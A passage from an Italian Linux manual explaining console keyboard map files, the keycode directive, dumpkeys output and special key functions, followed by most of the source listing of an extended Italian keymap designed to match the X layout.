        alt     keycode  26 = Meta_bracketleft
```

Volendo essere precisi e dettagliati, si può indicare il modificatore '**plain**' per fare riferimento alla pressione del tasto senza modificatori. L'esempio appena mostrato si traduce in quello seguente:

```
keymaps 0,1,2,4,6,8,9,12
…
plain   keycode 26 = egrave
shift   keycode 26 = eacute
altgr   keycode 26 = braceleft
control keycode 26 = Escape
alt     keycode 26 = Meta_bracketleft
```

Quando si usa la direttiva '**`keycode`**' si fa riferimento ai caratteri e alle funzioni speciali attraverso dei nomi. Tali nomi possono corrispondere, eccezionalmente, alla lettera che rappresenta un carattere, quando questa appartiene all'alfabeto inglese, senza accenti. I nomi disponibili si possono consultare nell'elenco che si ottiene con il programma '**`dumpkeys`**', utilizzato con l'opzione '**`-l`**':

$ **`dumpkeys -l`** [*Invio*]

```
…
Symbols recognized by dumpkeys:
(numeric value, symbol)

0x0000  nul
0x0001  Control_a
0x0002  Control_b
…
0x00fe  thorn
0x00ff  ydiaeresis
0x0100  F1
0x0101  F2
…
0x0112  F19
0x0113  F20
0x0114  Find
0x0115  Insert
0x0116  Remove
…
0x01fe  F245
0x01ff  F246
0x0200  VoidSymbol
0x0201  Return
…
0x0404  dead_diaeresis
0x0405  dead_cedilla
0x0500  Console_1
0x0501  Console_2
…
0x0c06  SCtrlL
0x0c07  SCtrlR
```

```
The following synonyms are recognized:

Control_h       for BackSpace
Control_i       for Tab
…
Recognized modifier names and their column numbers:
shift             1
altgr             2
control           4
alt               8
shiftl           16
shiftr           32
ctrll            64
ctrlr           128
```

Quando si tratta di caratteri tipografici particolari, può capitare che non siano disponibili dei nomi per individuarli. In quel caso, si può indicare il punto di codifica Unicode, secondo la notazione seguente:

```
U+hhhh
```

Per esempio, ecco come potrebbe apparire la definizione relativa al tasto [*o*], quando non si sa che la lettera «ø» si identifica con il nome '**oslash**' e la maiuscola con '**Oslash**':

```
plain        keycode 24 = o
shift        keycode 24 = O
altgr        keycode 24 = U+00F8
shift altgr keycode 24 = U+00D8
```

In pratica, con il modificatore '**AltGr**' si intende ottenere il simbolo «ø», ma non sapendo come fare, si utilizza la notazione U+00F6, così come per la maiuscola, «Ø», si utilizza la notazione U+00D8.

La notazione attraverso l'indicazione del punto di codifica va bene sempre, anche se si usa una codifica del tipo ISO 8859 (a soli 8 bit).

15.4.4 Funzionalità speciali

Studiando un file di mappa della tastiera si possono trovare alcune cose interessanti, come la definizione di combinazioni particolari. Gli estratti riportati di seguito provengono dalla mappa italiana normale: '`/usr/share/keymaps/i386/qwerty/it.kmap`'. I modificatori utilizzati sono quelli degli esempi precedenti, ovvero: 0, 1, 2, 4, 6, 8, 9 e 12.

```
keycode  57 = space            space
        control keycode  57 = nul
        alt     keycode  57 = Meta_space
        control alt keycode 57 = Meta_nul
```

Nell'esempio appena mostrato si nota che la combinazione [*Ctrl Spazio*] genera un carattere *<NUL>*.

```
keycode  59 = F1                F11               Console_13
        control keycode  59 = F1
        alt     keycode  59 = Console_1
        control alt     keycode  59 = Console_1
keycode  60 = F2                F12               Console_14
        control keycode  60 = F2
        alt     keycode  60 = Console_2
        control alt     keycode  60 = Console_2
...
string F1 = "\033[[A"
string F2 = "\033[[B"
...
string F11 = "\033[23~"
string F12 = "\033[24~"
...
```

Quello che appare sopra è la dichiarazione del comportamento dei tasti funzionali. I nomi di questi tasti non sono riconosciuti e quindi si dichiara più avanti la stringa che deve essere generata quando si fa riferimento a questi.

Si può osservare che la combinazione [*Maiuscole F1*] genera l'equivalente di [*F11*].

La combinazione [*Alt F1*] o [*Ctrl Alt F1*] serve notoriamente per selezionare la prima console virtuale, cosa che viene definita chiaramente con le istruzioni '**`alt keycode 59 = Console_1`**' e '**`control alt keycode 59 = Console_1`**'. Nello stesso modo si può osservare che la combinazione [*AltGr F1*] seleziona la tredicesima console virtuale (ammesso che ci sia).

```
keycode  70 = Scroll_Lock       Show_Memory       Show_Registers
        control keycode  70 = Show_State
        alt     keycode  70 = Scroll_Lock
```

Da questa dichiarazione, si osserva che la combinazione [*Maiuscole BlocScorr*] visualizza la situazione dell'uso della memoria, la combinazione [*AltGr BlocScorr*] mostra la situazione dei registri e la combinazione [*Ctrl BlocScorr*] mostra lo stato.

L'esempio seguente è tratto da una mappa per una tastiera russa, che prevede i primi due livelli con un alfabeto latino, mentre il terzo livello può essere fissato utilizzando il tasto [*Ctrl*] destro:

```
# Russian Cyrillic keyboard.map. "Cyrillic" mode is toggled by
# Right_Ctrl key and shifted by AltGr key.
keymaps 0-4,6,8,10,12
strings as usual
...
                keycode 96 =    KP_Enter
                keycode 97 =    AltGr_Lock
                keycode 98 =    KP_Divide
...
```

Si può osservare l'uso della definizione '`AltGr_Lock`' per ottenere il passaggio stabile al terzo livello, come se qualcuno tenesse sempre premuto il tasto [*AltGr*]. Naturalmente, per sbloccare la selezione del terzo livello basta ripremere lo stesso tasto già usato per inserirlo.

15.5 Approfondimento: tastiera italiana conforme a X

Esistono diverse versioni di mappe per la tastiera italiana, diffuse comunemente con le distribuzioni GNU/Linux. Dovrebbe trattarsi dei file '`it.kmap.gz`', '`it2.kmap.gz`' e '`it-ibm.kmap.gz`', contenuti normalmente nella directory '`/usr/share/keymaps/i386/qwerty/`'. Nessuna di queste mappe soddisfa l'esigenza di buona compatibilità con quella usata con X: simboli importanti come la tilde, le parentesi graffe e le virgolette basse si trovano spesso in posizioni differenti. Oltre a questo, la mappa di X offre delle alternative nei livelli tre e quattro, provenienti dallo standard ISO 9995 ed è un peccato non poter avere un modo uniforme per ottenere i simboli desiderati.

Questa sezione presenta la configurazione di una mappa italiana, estesa, con l'obiettivo di essere il più possibile conforme al modello di quella usata con X, come si vede dalla figura 15.62. Il sorgente della mappa che viene descritta appare nel listato 15.63. Si osservi che non è prevista la presenza di un tasto per fissare il terzo livello ('`AltGr_Lock`'), perché la mappa italiana consente normalmente di ottenere tutti i simboli necessari per scrivere in lingua inglese e il passaggio al terzo livello viene richiesto raramente (per esempio per la chiocciola, le parentesi quadre e quelle graffe).

Figura 15.62. Tastiera italiana conforme a X, divisa in due parti per motivi di spazio. I simboli di colore diverso dal nero sono estensioni alla tastiera italiana; i simboli disegnati sul lato destro dei tasti si ottengono con il terzo e quarto livello; i simboli in rosso sono accenti morti; le lettere accentate maiuscole si ottengono premendo anche il tasto [*Ctrl*] sinistro.

15.5.1 Codifica

La configurazione della tastiera proposta non riporta l'indicazione della codifica, perché può essere indifferentemente ISO 8859-1 o ISO 10646-18. Naturalmente, quando si utilizza '**`loadkeys`**' con questa mappa e la console non sta funzionando secondo la codifica UTF-8, si ottengono dei messaggi di errore, non fatali, per i caratteri che con ISO 8859-1 non possono essere ottenuti. Ovviamente, tali caratteri possono essere ottenuti solo quando la console può gestirli.

15.5.2 Modificatori virtuali «control» e «meta»

Il modificatore virtuale '**`Control`**' è abbinato indifferente a uno dei due tasti [*Ctrl*], mentre il modificatore virtuale '**`Meta`**' è abbinato al tasto [*Alt*] sinistro.

Le combinazioni virtuali di questi modificatori sono associate in modo da poter essere ottenute secondo un criterio logico, anche se non è detto che siano facili da produrre. Per esempio, la parentesi quadra chiusa appare sia nel tasto utilizzato normalmente per ottenere la lettera «è» (e con accento grave), sia nel tasto utilizzato normalmente per ottenere il numero otto. Pertanto, la combinazione virtuale <*Meta_bracketleft*> si ottiene come [*Alt [*], che in pratica può essere ottenuta come [*Alt AltGr è*], oppure [*Alt AltGr 8*]. Naturalmente, quando il simbolo da combinare si trova nel quarto livello, occorre inserire nella combinazione reale anche il tasto [*Maiuscole*].

Si osservi che la combinazione reale [*Maiuscole Esc*] genera il carattere *<NUL>* (pari allo zero binario), pertanto la combinazione virtuale <*Meta_nul*> si ottiene come [*Maiuscole Alt Esc*].

15.5.3 Combinazioni numeriche

Tenendo premuto il tasto [*Alt*], oppure il tasto [*Ctrl*], è possibile comporre sulla tastiera numerica il numero (in base dieci) del carattere che si vuole ottenere. Il carattere si ottiene quando si rilascia il tasto usato per iniziare la sequenza ([*Alt*] o [*Ctrl*]). Si può fare la stessa cosa usando i numeri che appaiono sulla parte superiore della parte alfanumerica della tastiera, ma in tal caso si può usare soltanto il tasto [*Ctrl*].

Tenendo premuta la combinazione [*Maiuscole Ctrl*], è possibile comporre il numero di un carattere che si vuole ottenere, ma in esadecimale. Per le cifre numeriche da uno a nove si può usare indifferentemente la tastiera numerica o quella alfanumerica.

15.5.4 Accenti morti e composizione

Le sequenze con cui si generano le lettere accentate a partire dagli accenti morti sono quelle predefinite; pertanto possono essere differenti rispetto a quelle usate nella configurazione di X. Oltre a questo fatto, è da notare che non è possibile definire un accento morto del tipo *dead ring*, pertanto, con la combinazione reale [*Maiuscole AltGr à*] si ottiene direttamente la lettera «å», che è l'unica prevista per quella ipotetica trasformazione. Inoltre, non è possibile dichiarare un accento morto del tipo *dead macron*, pertanto in corrispondenza della combinazione reale [*AltGr -*] non si ottiene alcunché.

È previsto un tasto per iniziare una sequenza di composizione. Si tratta precisamente del tasto [*Menù*], che è disponibile solo con una tastiera a 105 tasti. Anche le sequenze di composizione sono quelle predefinite.

15.5.5 Lettere accentate maiuscole

I quattro livelli previsti, che si ottengono come [***x***], [*Maiuscole* ***x***], [*AltGr* ***x***] e [*Maiuscole AltGr* ***x***], non consentono di produrre alcune lettere accentate. X produce tali lettere utilizzando il tasto [*Fissamaiuscole*], ma nella console questo non è distinguibile da un tasto [*Maiuscole*] che rimane premuto. Pertanto, è stato necessario attribuire tale compito ai tasti [*Ctrl*], così, per ottenere la lettera «È» (e maiuscola con accento grave), si può usare la combinazione [*Ctrl è*]; nello stesso modo, per ottenere la lettera «É», si può usare la combinazione [*Maiuscole Ctrl è*]. Lo stesso ragionamento vale anche quando la lettera da rendere in maiuscolo si trova a un livello superiore, come nel caso di «Å», che si può ottenere come [*Maiuscole Ctrl AltGr à*].

Si osservi che dove ciò non è necessario, la combinazione con il tasto [*Ctrl*] non è stata prevista, oppure serve per generare una combinazione virtuale del tipo < *Control_**x*** >.

15.5.6 Barra spaziatrice

La pressione della barra spaziatrice produce normalmente il carattere <*SP*>, ma se si usa in combinazione con il tasto [*Ctrl*], si ottiene uno spazio non interrompibile (o non separabile), che corrisponde al codice U+00A0.

15.5.7 Tasti funzionali

I tasti funzionali [*F1*], [*F2*],... [*F12*], agiscono come di consueto, se però si aggiunge in combinazione il tasto [*Maiuscole*], ci si sposta in avanti di 10 posizioni: [*Maiuscole F1*] equivale a [*F11*], [*Maiuscole F2*] equivale a [*F12*],...

La selezione delle console virtuali avviene come di consueto, utilizzando la combinazione [*Alt F**n***], oppure [*Ctrl Alt F**n***]; se si aggiunge nella combinazione il tasto [*Maiuscole*], si ottiene la console ***n***+10.

Listato 15.63. Sorgente della mappa italiana estesa, compatibile con X. Una copia di questo file dovrebbe essere disponibile presso ⟨*allegati/it-xorg.kmap*⟩.

```
keymaps 0-15
compose as usual for "iso-8859-1"
#
                                keycode   1 = Escape
shift                           keycode   1 = nul
                        alt     keycode   1 = Meta_Escape
shift                   alt     keycode   1 = Meta_nul
#
                                keycode   2 = one
shift                           keycode   2 = exclam
        altgr                   keycode   2 = onesuperior
shift   altgr                   keycode   2 = exclamdown
                control         keycode   2 = Ascii_1
                        alt     keycode   2 = Meta_one
shift                   alt     keycode   2 = Meta_exclam
shift           control         keycode   2 = Hex_1
#
                                keycode   3 = two
shift                           keycode   3 = quotedbl
        altgr                   keycode   3 = twosuperior
shift   altgr                   keycode   3 = dead_diaeresis
                control         keycode   3 = Ascii_2
                        alt     keycode   3 = Meta_two
shift                   alt     keycode   3 = Meta_quotedbl
shift           control         keycode   3 = Hex_2
#
                                keycode   4 = three
shift                           keycode   4 = sterling
        altgr                   keycode   4 = threesuperior
shift   altgr                   keycode   4 = dead_tilde
                control         keycode   4 = Ascii_3
                        alt     keycode   4 = Meta_three
                control alt     keycode   4 = Meta_Escape
shift           control         keycode   4 = Hex_3
#
                                keycode   5 = four
shift                           keycode   5 = dollar
        altgr                   keycode   5 = onequarter
shift   altgr                   keycode   5 = U+215B    # 1/8
                control         keycode   5 = Ascii_4
                        alt     keycode   5 = Meta_four
shift                   alt     keycode   5 = Meta_dollar
shift           control         keycode   5 = Hex_4
#
                                keycode   6 = five
shift                           keycode   6 = percent
        altgr                   keycode   6 = onehalf
shift   altgr                   keycode   6 = U+215C    # 3/8
                control         keycode   6 = Ascii_5
                        alt     keycode   6 = Meta_five
shift                   alt     keycode   6 = Meta_percent
```

```
shift           control         keycode   6 = Hex_5
#
                                keycode   7 = six
shift                           keycode   7 = ampersand
        altgr                   keycode   7 = notsign
shift   altgr                   keycode   7 = U+215D    # 5/8
                control         keycode   7 = Ascii_6
                        alt     keycode   7 = Meta_six
shift                   alt     keycode   7 = Meta_ampersand
shift           control         keycode   7 = Hex_6
#
                                keycode   8 = seven
shift                           keycode   8 = slash
        altgr                   keycode   8 = braceleft
shift   altgr                   keycode   8 = U+215E    # 7/8
                control         keycode   8 = Ascii_7
                        alt     keycode   8 = Meta_seven
shift                   alt     keycode   8 = Meta_slash
        altgr           alt     keycode   8 = Meta_braceleft
shift           control         keycode   8 = Hex_7
#
                                keycode   9 = eight
shift                           keycode   9 = parenleft
        altgr                   keycode   9 = bracketleft
shift   altgr                   keycode   9 = U+2122    # TM
                control         keycode   9 = Ascii_8
                        alt     keycode   9 = Meta_eight
shift                   alt     keycode   9 = Meta_parenleft
shift           control         keycode   9 = Hex_8
        altgr           alt     keycode   9 = Meta_bracketleft
#
                                keycode  10 = nine
shift                           keycode  10 = parenright
        altgr                   keycode  10 = bracketright
shift   altgr                   keycode  10 = plusminus
                control         keycode  10 = Ascii_9
        altgr   control         keycode  10 = Control_bracketright
                        alt     keycode  10 = Meta_nine
shift                   alt     keycode  10 = Meta_parenright
shift           control         keycode  10 = Hex_9
        altgr           alt     keycode  10 = Meta_bracketright
        altgr   control alt     keycode  10 = Meta_Control_bracketright
#
                                keycode  11 = zero
shift                           keycode  11 = equal
        altgr                   keycode  11 = braceright
shift   altgr                   keycode  11 = dead_ogonek
                control         keycode  11 = Ascii_0
                        alt     keycode  11 = Meta_zero
shift                   alt     keycode  11 = Meta_equal
        altgr           alt     keycode  11 = Meta_braceright
shift           control         keycode  11 = Hex_0
#
```

```
                                keycode  12 = apostrophe
shift                           keycode  12 = question
        altgr                   keycode  12 = grave
shift   altgr                   keycode  12 = questiondown
        altgr           alt     keycode  12 = Meta_grave
                        alt     keycode  12 = Meta_apostrophe
shift                   alt     keycode  12 = Meta_question
#
                                keycode  13 = igrave
shift                           keycode  13 = asciicircum
        altgr                   keycode  13 = asciitilde
shift   altgr                   keycode  13 = dead_circumflex
                control         keycode  13 = Igrave
shift           control         keycode  13 = Control_asciicircum
shift           control alt     keycode  13 = Meta_Control_asciicircum
shift                   alt     keycode  13 = Meta_asciicircum
        altgr           alt     keycode  13 = Meta_asciitilde
#
                                keycode  14 = Delete
shift                           keycode  14 = Delete
                        alt     keycode  14 = Meta_Delete
#
                                keycode  15 = Tab
shift                           keycode  15 = Tab
                        alt     keycode  15 = Meta_Tab
#
                                keycode  16 = q
shift                           keycode  16 = Q
        altgr                   keycode  16 = at
shift   altgr                   keycode  16 = U+2126    # Ohm
                control         keycode  16 = Control_q
                control alt     keycode  16 = Meta_Control_q
        altgr           alt     keycode  16 = Meta_at
                        alt     keycode  16 = Meta_q
shift                   alt     keycode  16 = Meta_Q
#
                                keycode  17 = w
shift                           keycode  17 = W
        altgr                   keycode  17 = lstroke
shift   altgr                   keycode  17 = Lstroke
                control         keycode  17 = Control_w
                control alt     keycode  17 = Meta_Control_w
                        alt     keycode  17 = Meta_w
shift                   alt     keycode  17 = Meta_W
#
                                keycode  18 = e
shift                           keycode  18 = E
        altgr                   keycode  18 = euro
shift   altgr                   keycode  18 = cent
                control         keycode  18 = Control_e
                control alt     keycode  18 = Meta_Control_e
                        alt     keycode  18 = Meta_e
shift                   alt     keycode  18 = Meta_E
```

```
shift           control         keycode  18 = Hex_E
#
                                keycode  19 = r
shift                           keycode  19 = R
        altgr                   keycode  19 = paragraph
shift   altgr                   keycode  19 = registered
                control         keycode  19 = Control_r
                control alt     keycode  19 = Meta_Control_r
                        alt     keycode  19 = Meta_r
shift                   alt     keycode  19 = Meta_R
#
                                keycode  20 = t
shift                           keycode  20 = T
        altgr                   keycode  20 = tslash
shift   altgr                   keycode  20 = Tslash
                control         keycode  20 = Control_t
                control alt     keycode  20 = Meta_Control_t
                        alt     keycode  20 = Meta_t
shift                   alt     keycode  20 = Meta_T
#
                                keycode  21 = y
shift                           keycode  21 = Y
        altgr                   keycode  21 = U+2190    # <--
shift   altgr                   keycode  21 = yen
                control         keycode  21 = Control_y
                control alt     keycode  21 = Meta_Control_y
                        alt     keycode  21 = Meta_y
shift                   alt     keycode  21 = Meta_Y
#
                                keycode  22 = u
shift                           keycode  22 = U
        altgr                   keycode  22 = U+2193    # v
shift   altgr                   keycode  22 = U+2191    # ^
                control         keycode  22 = Control_u
                control alt     keycode  22 = Meta_Control_u
                        alt     keycode  22 = Meta_u
shift                   alt     keycode  22 = Meta_U
#
                                keycode  23 = i
shift                           keycode  23 = I
        altgr                   keycode  23 = U+2192    # -->
shift   altgr                   keycode  23 = onesuperior
                control         keycode  23 = Control_i
                control alt     keycode  23 = Meta_Control_i
                        alt     keycode  23 = Meta_i
shift                   alt     keycode  23 = Meta_I
#
                                keycode  24 = o
shift                           keycode  24 = O
        altgr                   keycode  24 = oslash
shift   altgr                   keycode  24 = Oslash
                control         keycode  24 = Control_o
                control alt     keycode  24 = Meta_Control_o
```

```
                          alt     keycode  24 = Meta_o
shift                     alt     keycode  24 = Meta_O
#
                                  keycode  25 = p
shift                             keycode  25 = P
        altgr                     keycode  25 = thorn
shift   altgr                     keycode  25 = THORN
                control           keycode  25 = Control_p
                control alt       keycode  25 = Meta_Control_p
                          alt     keycode  25 = Meta_p
shift                     alt     keycode  25 = Meta_P
#
                                  keycode  26 = egrave
shift                             keycode  26 = eacute
        altgr                     keycode  26 = bracketleft
shift   altgr                     keycode  26 = braceleft
                control           keycode  26 = Egrave
shift           control           keycode  26 = Eacute
        altgr             alt     keycode  26 = Meta_bracketleft
shift   altgr             alt     keycode  26 = Meta_braceleft
#
                                  keycode  27 = plus
shift                             keycode  27 = asterisk
        altgr                     keycode  27 = bracketright
shift   altgr                     keycode  27 = braceright
        altgr   control           keycode  27 = Control_bracketright
                          alt     keycode  27 = Meta_plus
shift                     alt     keycode  27 = Meta_asterisk
        altgr             alt     keycode  27 = Meta_bracketright
shift   altgr             alt     keycode  27 = Meta_braceright
        altgr   control alt       keycode  27 = Meta_Control_bracketright
#
                                  keycode  28 = Return
shift                             keycode  28 = Return
        altgr                     keycode  28 = Return
shift   altgr                     keycode  28 = Return
#
                                  keycode  29 = Control
#
                                  keycode  30 = a
shift                             keycode  30 = A
        altgr                     keycode  30 = ae
shift   altgr                     keycode  30 = AE
                control           keycode  30 = Control_a
                control alt       keycode  30 = Meta_Control_a
                          alt     keycode  30 = Meta_a
shift                     alt     keycode  30 = Meta_A
shift           control           keycode  30 = Hex_A
#
                                  keycode  31 = s
shift                             keycode  31 = S
        altgr                     keycode  31 = ssharp
shift   altgr                     keycode  31 = section
```

```
                  control         keycode  31 = Control_s
                  control alt     keycode  31 = Meta_Control_s
                          alt     keycode  31 = Meta_s
shift                     alt     keycode  31 = Meta_S
#
                                  keycode  32 = d
shift                             keycode  32 = D
        altgr                     keycode  32 = eth
shift   altgr                     keycode  32 = ETH
                  control         keycode  32 = Control_d
                  control alt     keycode  32 = Meta_Control_d
                          alt     keycode  32 = Meta_d
shift                     alt     keycode  32 = Meta_D
shift             control         keycode  32 = Hex_D
#
                                  keycode  33 = f
shift                             keycode  33 = F
        altgr                     keycode  33 = dstroke
        altgr     control         keycode  33 = Dstroke
shift   altgr                     keycode  33 = ordfeminine
                  control         keycode  33 = Control_f
                  control alt     keycode  33 = Meta_Control_f
                          alt     keycode  33 = Meta_f
shift                     alt     keycode  33 = Meta_F
shift             control         keycode  33 = Hex_F
#
                                  keycode  34 = g
shift                             keycode  34 = G
        altgr                     keycode  34 = eng
shift   altgr                     keycode  34 = ENG
                  control         keycode  34 = Control_g
                  control alt     keycode  34 = Meta_Control_g
                          alt     keycode  34 = Meta_g
shift                     alt     keycode  34 = Meta_G
#
                                  keycode  35 = h
shift                             keycode  35 = H
        altgr                     keycode  35 = hstroke
shift   altgr                     keycode  35 = Hstroke
                  control         keycode  35 = Control_h
                  control alt     keycode  35 = Meta_Control_h
                          alt     keycode  35 = Meta_h
shift                     alt     keycode  35 = Meta_H
#
                                  keycode  36 = j
shift                             keycode  36 = J
        altgr                     keycode  36 = j
shift   altgr                     keycode  36 = J
                  control         keycode  36 = Control_j
                  control alt     keycode  36 = Meta_Control_j
                          alt     keycode  36 = Meta_j
shift                     alt     keycode  36 = Meta_J
#
```

```
                                keycode  37 = k
shift                           keycode  37 = K
        altgr                   keycode  37 = kra
shift   altgr                   keycode  37 = ampersand
                control         keycode  37 = Control_k
                control alt     keycode  37 = Meta_Control_k
                        alt     keycode  37 = Meta_k
shift                   alt     keycode  37 = Meta_K
#
                                keycode  38 = l
shift                           keycode  38 = L
        altgr                   keycode  38 = lstroke
shift   altgr                   keycode  38 = Lstroke
                control         keycode  38 = Control_l
                control alt     keycode  38 = Meta_Control_l
                        alt     keycode  38 = Meta_l
shift                   alt     keycode  38 = Meta_L
#
                                keycode  39 = ograve
shift                           keycode  39 = ccedilla
        altgr                   keycode  39 = at
shift   altgr                   keycode  39 = dead_cedilla
                control         keycode  39 = Ograve
shift           control         keycode  39 = Ccedilla
#
                                keycode  40 = agrave
shift                           keycode  40 = degree
        altgr                   keycode  40 = numbersign
shift   altgr                   keycode  40 = aring     # should be dead ring
                control         keycode  40 = Agrave
shift   altgr   control         keycode  40 = Aring
        altgr           alt     keycode  40 = Meta_numbersign
#
                                keycode  41 = backslash
shift                           keycode  41 = bar
        altgr                   keycode  41 = notsign
shift   altgr                   keycode  41 = brokenbar
                control         keycode  41 = Control_backslash
                control alt     keycode  41 = Meta_Control_backslash
                        alt     keycode  41 = Meta_backslash
shift                   alt     keycode  41 = Meta_bar
#
                                keycode  42 = Shift
#
                                keycode  43 = ugrave
shift                           keycode  43 = section
                control         keycode  43 = Ugrave
        altgr                   keycode  43 = dead_grave
shift   altgr                   keycode  43 = dead_breve
#
                                keycode  44 = z
shift                           keycode  44 = Z
        altgr                   keycode  44 = guillemotleft
```

```
shift   altgr                   keycode  44 = less
                control         keycode  44 = Control_z
                control alt     keycode  44 = Meta_Control_z
                        alt     keycode  44 = Meta_z
shift                   alt     keycode  44 = Meta_Z
shift   altgr           alt     keycode  44 = Meta_less
#
                                keycode  45 = x
shift                           keycode  45 = X
        altgr                   keycode  45 = guillemotright
shift   altgr                   keycode  45 = greater
                control         keycode  45 = Control_x
                control alt     keycode  45 = Meta_Control_x
                        alt     keycode  45 = Meta_x
shift                   alt     keycode  45 = Meta_X
shift   altgr           alt     keycode  45 = Meta_greater
#
                                keycode  46 = c
shift                           keycode  46 = C
        altgr                   keycode  46 = cent
shift   altgr                   keycode  46 = copyright
                control         keycode  46 = Control_c
                control alt     keycode  46 = Meta_Control_c
                        alt     keycode  46 = Meta_c
shift                   alt     keycode  46 = Meta_C
shift           control         keycode  46 = Hex_C
#
                                keycode  47 = v
shift                           keycode  47 = V
        altgr                   keycode  47 = U+201C     # ``
shift   altgr                   keycode  47 = grave
                control         keycode  47 = Control_v
                control alt     keycode  47 = Meta_Control_v
                        alt     keycode  47 = Meta_v
shift                   alt     keycode  47 = Meta_V
#
                                keycode  48 = b
shift                           keycode  48 = B
        altgr                   keycode  48 = U+201D     # ''
shift   altgr                   keycode  48 = acute
                control         keycode  48 = Control_b
                control alt     keycode  48 = Meta_Control_b
                        alt     keycode  48 = Meta_b
shift                   alt     keycode  48 = Meta_B
shift           control         keycode  48 = Hex_B
#
                                keycode  49 = n
shift                           keycode  49 = N
        altgr                   keycode  49 = ntilde
shift   altgr                   keycode  49 = Ntilde
                control         keycode  49 = Control_n
                control alt     keycode  49 = Meta_Control_n
                        alt     keycode  49 = Meta_n
```

```
shift                   alt     keycode  49 = Meta_N
#
                                keycode  50 = m
shift                           keycode  50 = M
        altgr                   keycode  50 = mu
shift   altgr                   keycode  50 = masculine
                control         keycode  50 = Control_m
                control alt     keycode  50 = Meta_Control_m
                        alt     keycode  50 = Meta_m
shift                   alt     keycode  50 = Meta_M
#
                                keycode  51 = comma
shift                           keycode  51 = semicolon
        altgr                   keycode  51 = dead_acute
shift   altgr                   keycode  51 = multiply
                        alt     keycode  51 = Meta_comma
shift                   alt     keycode  51 = Meta_semicolon
#
                                keycode  52 = period
shift                           keycode  52 = colon
        altgr                   keycode  52 = periodcentered
shift   altgr                   keycode  52 = dead_diaeresis
                        alt     keycode  52 = Meta_period
shift                   alt     keycode  52 = Meta_colon
#
                                keycode  53 = minus
shift                           keycode  53 = underscore
        altgr                   keycode  53 = VoidSymbol # should be dead macron
shift   altgr                   keycode  53 = division
shift           control         keycode  53 = Control_underscore
shift           control alt     keycode  53 = Meta_Control_underscore
                        alt     keycode  53 = Meta_minus
shift                   alt     keycode  53 = Meta_underscore
shift           control alt     keycode  53 = Meta_Control_underscore
#
                                keycode  54 = Shift
#
                                keycode  55 = KP_Multiply
shift                           keycode  55 = asterisk
shift                   alt     keycode  55 = Meta_asterisk
#
                                keycode  56 = Alt
#
                                keycode  57 = space
shift                           keycode  57 = space
                control         keycode  57 = nobreakspace
                        alt     keycode  57 = Meta_space
#
                                keycode  58 = Caps_Lock
#
                                keycode  59 = F1
shift                           keycode  59 = F11
                control         keycode  59 = F1
```

```
                control alt     keycode  59 = Console_1
                        alt     keycode  59 = Console_1
shift                   alt     keycode  59 = Console_11
shift           control alt     keycode  59 = Console_11
#
                                keycode  60 = F2
shift                           keycode  60 = F12
                control         keycode  60 = F2
                control alt     keycode  60 = Console_2
                        alt     keycode  60 = Console_2
shift                   alt     keycode  60 = Console_12
shift           control alt     keycode  60 = Console_12
#
                                keycode  61 = F3
shift                           keycode  61 = F13
                control         keycode  61 = F3
                control alt     keycode  61 = Console_3
                        alt     keycode  61 = Console_3
shift                   alt     keycode  61 = Console_13
shift           control alt     keycode  61 = Console_13
#
                                keycode  62 = F4
shift                           keycode  62 = F14
                control         keycode  62 = F4
                control alt     keycode  62 = Console_4
                        alt     keycode  62 = Console_4
shift                   alt     keycode  62 = Console_14
shift           control alt     keycode  62 = Console_14
#
                                keycode  63 = F5
shift                           keycode  63 = F15
                control         keycode  63 = F5
                control alt     keycode  63 = Console_5
                        alt     keycode  63 = Console_5
shift                   alt     keycode  63 = Console_15
shift           control alt     keycode  63 = Console_15
#
                                keycode  64 = F6
shift                           keycode  64 = F16
                control         keycode  64 = F6
                control alt     keycode  64 = Console_6
                        alt     keycode  64 = Console_6
shift                   alt     keycode  64 = Console_16
shift           control alt     keycode  64 = Console_16
#
                                keycode  65 = F7
shift                           keycode  65 = F17
                control         keycode  65 = F7
                control alt     keycode  65 = Console_7
                        alt     keycode  65 = Console_7
shift                   alt     keycode  65 = Console_17
shift           control alt     keycode  65 = Console_17
#
```

```
                                keycode  66 = F8
shift                           keycode  66 = F18
                control         keycode  66 = F8
                control alt     keycode  66 = Console_8
                        alt     keycode  66 = Console_8
shift                   alt     keycode  66 = Console_18
shift           control alt     keycode  66 = Console_18
#
                                keycode  67 = F9
shift                           keycode  67 = F19
                control         keycode  67 = F9
                control alt     keycode  67 = Console_9
                        alt     keycode  67 = Console_9
shift                   alt     keycode  67 = Console_19
shift           control alt     keycode  67 = Console_19
#
                                keycode  68 = F10
shift                           keycode  68 = F20
                control         keycode  68 = F10
                control alt     keycode  68 = Console_10
                        alt     keycode  68 = Console_10
shift                   alt     keycode  68 = Console_20
shift           control alt     keycode  68 = Console_20
#
                                keycode  69 = Num_Lock
#
                                keycode  70 = Scroll_Lock
shift                           keycode  70 = Show_Memory
        altgr                   keycode  70 = Show_Registers
                control         keycode  70 = Show_State
                        alt     keycode  70 = Scroll_Lock
#
                                keycode  71 = KP_7
shift                           keycode  71 = seven
                control         keycode  71 = Ascii_7
                        alt     keycode  71 = Ascii_7
shift           control         keycode  71 = Hex_7
#
                                keycode  72 = KP_8
shift                           keycode  72 = eight
                control         keycode  72 = Ascii_8
                        alt     keycode  72 = Ascii_8
shift           control         keycode  72 = Hex_8
#
                                keycode  73 = KP_9
shift                           keycode  73 = nine
                control         keycode  73 = Ascii_9
                        alt     keycode  73 = Ascii_9
shift           control         keycode  73 = Hex_9
#
                                keycode  74 = KP_Subtract
shift                           keycode  74 = minus
                        alt     keycode  74 = Meta_minus
```

```
#
                                keycode  75 = KP_4
shift                           keycode  75 = four
                control         keycode  75 = Ascii_4
                        alt     keycode  75 = Ascii_4
shift           control         keycode  75 = Hex_4
#
                                keycode  76 = KP_5
shift                           keycode  76 = five
                control         keycode  76 = Ascii_5
                        alt     keycode  76 = Ascii_5
shift           control         keycode  76 = Hex_5
#
                                keycode  77 = KP_6
shift                           keycode  77 = six
                control         keycode  77 = Ascii_6
                        alt     keycode  77 = Ascii_6
shift           control         keycode  77 = Hex_6
#
                                keycode  78 = KP_Add
shift                           keycode  78 = plus
                        alt     keycode  78 = Meta_plus
#
                                keycode  79 = KP_1
shift                           keycode  79 = one
                control         keycode  79 = Ascii_1
                        alt     keycode  79 = Ascii_1
shift           control         keycode  79 = Hex_1
#
                                keycode  80 = KP_2
shift                           keycode  80 = two
                control         keycode  80 = Ascii_2
                        alt     keycode  80 = Ascii_2
shift           control         keycode  80 = Hex_2
#
                                keycode  81 = KP_3
shift                           keycode  81 = three
                control         keycode  81 = Ascii_3
                        alt     keycode  81 = Ascii_3
